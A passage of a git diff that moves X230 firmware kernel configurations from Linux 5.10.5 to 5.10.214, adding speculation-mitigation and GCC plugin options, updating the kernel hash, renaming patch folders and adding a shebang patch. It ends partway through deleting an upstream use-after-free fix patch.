CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -313,7 +316,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -360,6 +362,13 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +# CONFIG_PAGE_TABLE_ISOLATION is not set +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -549,6 +558,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -601,6 +611,7 @@ CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -613,6 +624,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -855,7 +870,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # DRBD disabled because PROC_FS or INET not selected # # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1153,10 +1167,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1280,6 +1293,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1369,7 +1383,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1500,6 +1513,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2221,6 +2235,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2420,6 +2438,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-x230-legacy.config b/config/linux-x230-legacy.config index 792edc792..f7e55ad71 100644 --- a/config/linux-x230-legacy.config +++ b/config/linux-x230-legacy.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -188,6 +190,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -258,7 +261,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -369,6 +370,13 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +# CONFIG_PAGE_TABLE_ISOLATION is not set +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -560,6 +568,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -612,6 +621,7 @@ CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -624,6 +634,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -750,7 +764,6 @@ CONFIG_UNIX_SCM=y # CONFIG_ATM is not set # CONFIG_BRIDGE is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -928,7 +941,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1264,10 +1276,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1392,6 +1403,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1482,7 +1494,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1613,6 +1624,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2318,7 +2330,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set # CONFIG_SECURITYFS is not set -# CONFIG_PAGE_TABLE_ISOLATION is not set CONFIG_INTEL_TXT=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2338,6 +2349,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2514,18 +2529,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2550,6 +2553,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-x230-maximized.config b/config/linux-x230-maximized.config index 2ebbc1781..1b5534089 100644 --- a/config/linux-x230-maximized.config +++ b/config/linux-x230-maximized.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -188,6 +190,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -258,7 +261,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -369,6 +370,13 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +# CONFIG_PAGE_TABLE_ISOLATION is not set +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -560,6 +568,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -612,6 +621,7 @@ CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -624,6 +634,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -758,6 +772,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -779,7 +794,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -962,7 +976,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -976,6 +989,7 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # CONFIG_BLK_DEV_NVME is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -1313,7 +1327,6 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1497,10 +1510,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1625,6 +1637,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1715,7 +1728,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1846,6 +1858,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2580,7 +2593,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set # CONFIG_SECURITYFS is not set -# CONFIG_PAGE_TABLE_ISOLATION is not set CONFIG_INTEL_TXT=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2600,6 +2612,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2776,18 +2792,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2812,6 +2816,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/modules/linux b/modules/linux index ea08916d9..23ddcec85 100644 --- a/modules/linux +++ b/modules/linux @@ -28,9 +28,9 @@ linux_hash := a6fbd4ee903c128367892c2393ee0d9657b6ed3ea90016d4dc6f1f6da20b2330 # been done. This is because `0000-efi_bds.patch` did not cleanly port # from 5.4.69 to 5.10.5 which directly affects linuxboot systems. # -else ifeq "$(CONFIG_LINUX_VERSION)" "5.10.5" -linux_version := 5.10.5 -linux_hash := 3991a9e16a187d78d5f414d89236ae5d7f404a69e60c4c42a9d262ee19612ef4 +else ifeq "$(CONFIG_LINUX_VERSION)" "5.10.214" +linux_version := 5.10.214 +linux_hash := 40f014d53e81f204f6d2a364aae4201ae07970dd1b70dc602d7c66c1a140f558 else ifeq "$(CONFIG_LINUX_VERSION)" "6.1.8" linux_version := 6.1.8 linux_hash := b60bb53ab8ba370a270454b11e93d41af29126fc72bd6ede517673e2e57b816d diff --git a/patches/linux-5.10.5/0001-fake-acpi.patch b/patches/linux-5.10.214/0001-fake-acpi.patch similarity index 100% rename from patches/linux-5.10.5/0001-fake-acpi.patch rename to patches/linux-5.10.214/0001-fake-acpi.patch diff --git a/patches/linux-5.10.5/0002-nmi-squelch.patch b/patches/linux-5.10.214/0002-nmi-squelch.patch similarity index 100% rename from patches/linux-5.10.5/0002-nmi-squelch.patch rename to patches/linux-5.10.214/0002-nmi-squelch.patch diff --git a/patches/linux-5.10.5/0003-fake-trampoline.patch b/patches/linux-5.10.214/0003-fake-trampoline.patch similarity index 100% rename from patches/linux-5.10.5/0003-fake-trampoline.patch rename to patches/linux-5.10.214/0003-fake-trampoline.patch diff --git a/patches/linux-5.10.5/0010-winterfell-ahci.patch b/patches/linux-5.10.214/0010-winterfell-ahci.patch similarity index 100% rename from patches/linux-5.10.5/0010-winterfell-ahci.patch rename to patches/linux-5.10.214/0010-winterfell-ahci.patch diff --git a/patches/linux-5.10.214/shebangs.patch b/patches/linux-5.10.214/shebangs.patch new file mode 100644 index 000000000..34164d291 --- /dev/null +++ b/patches/linux-5.10.214/shebangs.patch @@ -0,0 +1,40 @@ +diff --git a/scripts/check-sysctl-docs b/scripts/check-sysctl-docs +index 8bcb9e26c7bc..90137319c50a 100755 +--- a/scripts/check-sysctl-docs ++++ b/scripts/check-sysctl-docs +@@ -1,4 +1,4 @@ +-#!/usr/bin/gawk -f ++#!/usr/bin/env -S gawk -f + # SPDX-License-Identifier: GPL-2.0 + + # Script to check sysctl documentation against source files +diff --git a/scripts/ld-version.sh b/scripts/ld-version.sh +index f2be0ff9a738..7a5b546ece16 100755 +--- a/scripts/ld-version.sh ++++ b/scripts/ld-version.sh +@@ -1,4 +1,4 @@ +-#!/usr/bin/awk -f ++#!/usr/bin/env -S awk -f + # SPDX-License-Identifier: GPL-2.0 + # extract linker version number from stdin and turn into single number + { +diff --git a/scripts/parse-maintainers.pl b/scripts/parse-maintainers.pl +index 2ca4eb3f190d..9515765158fa 100755 +--- a/scripts/parse-maintainers.pl ++++ b/scripts/parse-maintainers.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl -w ++#!/usr/bin/env -S perl -w + # SPDX-License-Identifier: GPL-2.0 + + use strict; +diff --git a/scripts/ver_linux b/scripts/ver_linux +index 0968a3070eff..345b92f71d2d 100755 +--- a/scripts/ver_linux ++++ b/scripts/ver_linux +@@ -1,4 +1,4 @@ +-#!/usr/bin/awk -f ++#!/usr/bin/env -S awk -f + # SPDX-License-Identifier: GPL-2.0 + # Before running this script please ensure that your PATH is + # typical as you use for compilation/installation. I use diff --git a/patches/linux-5.10.5/0004-libsubcmd_Fix_use-after-free-for-realloc.patch b/patches/linux-5.10.5/0004-libsubcmd_Fix_use-after-free-for-realloc.patch deleted file mode 100644 index 57d0d5038..000000000 --- a/patches/linux-5.10.5/0004-libsubcmd_Fix_use-after-free-for-realloc.patch +++ /dev/null @@ -1,64 +0,0 @@ -From 52a9dab6d892763b2a8334a568bd4e2c1a6fde66 Mon Sep 17 00:00:00 2001 -From: Kees Cook -Date: Sun, 13 Feb 2022 10:24:43 -0800 -Subject: [PATCH] libsubcmd: Fix use-after-free for realloc(..., 0) -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -GCC 12 correctly reports a potential use-after-free condition in the -xrealloc helper. Fix the warning by avoiding an implicit "free(ptr)" -when size == 0: - -In file included from help.c:12: -In function 'xrealloc', - inlined from 'add_cmdname' at help.c:24:2: subcmd-util.h:56:23: error: pointer may be used after 'realloc' [-Werror=use-after-free] - 56 | ret = realloc(ptr, size); - | ^~~~~~~~~~~~~~~~~~ -subcmd-util.h:52:21: note: call to 'realloc' here - 52 | void *ret = realloc(ptr, size); - | ^~~~~~~~~~~~~~~~~~ -subcmd-util.h:58:31: error: pointer may be used after 'realloc' [-Werror=use-after-free] - 58 | ret = realloc(ptr, 1); - | ^~~~~~~~~~~~~~~ -subcmd-util.h:52:21: note: call to 'realloc' here - 52 | void *ret = realloc(ptr, size); - | ^~~~~~~~~~~~~~~~~~ - -Fixes: 2f4ce5ec1d447beb ("perf tools: Finalize subcmd independence") -Reported-by: Valdis Klētnieks -Signed-off-by: Kees Kook -Tested-by: Valdis Klētnieks -Tested-by: Justin M. Forbes -Acked-by: Josh Poimboeuf -Cc: linux-hardening@vger.kernel.org -Cc: Valdis Klētnieks -Link: http://lore.kernel.org/lkml/20220213182443.4037039-1-keescook@chromium.org -Signed-off-by: Arnaldo Carvalho de Melo ---- - tools/lib/subcmd/subcmd-util.h | 11 ++--------- - 1 file changed, 2 insertions(+), 9 deletions(-) - -diff --git a/tools/lib/subcmd/subcmd-util.h b/tools/lib/subcmd/subcmd-util.h -index 794a375dad3601..b2aec04fce8f67 100644 ---- 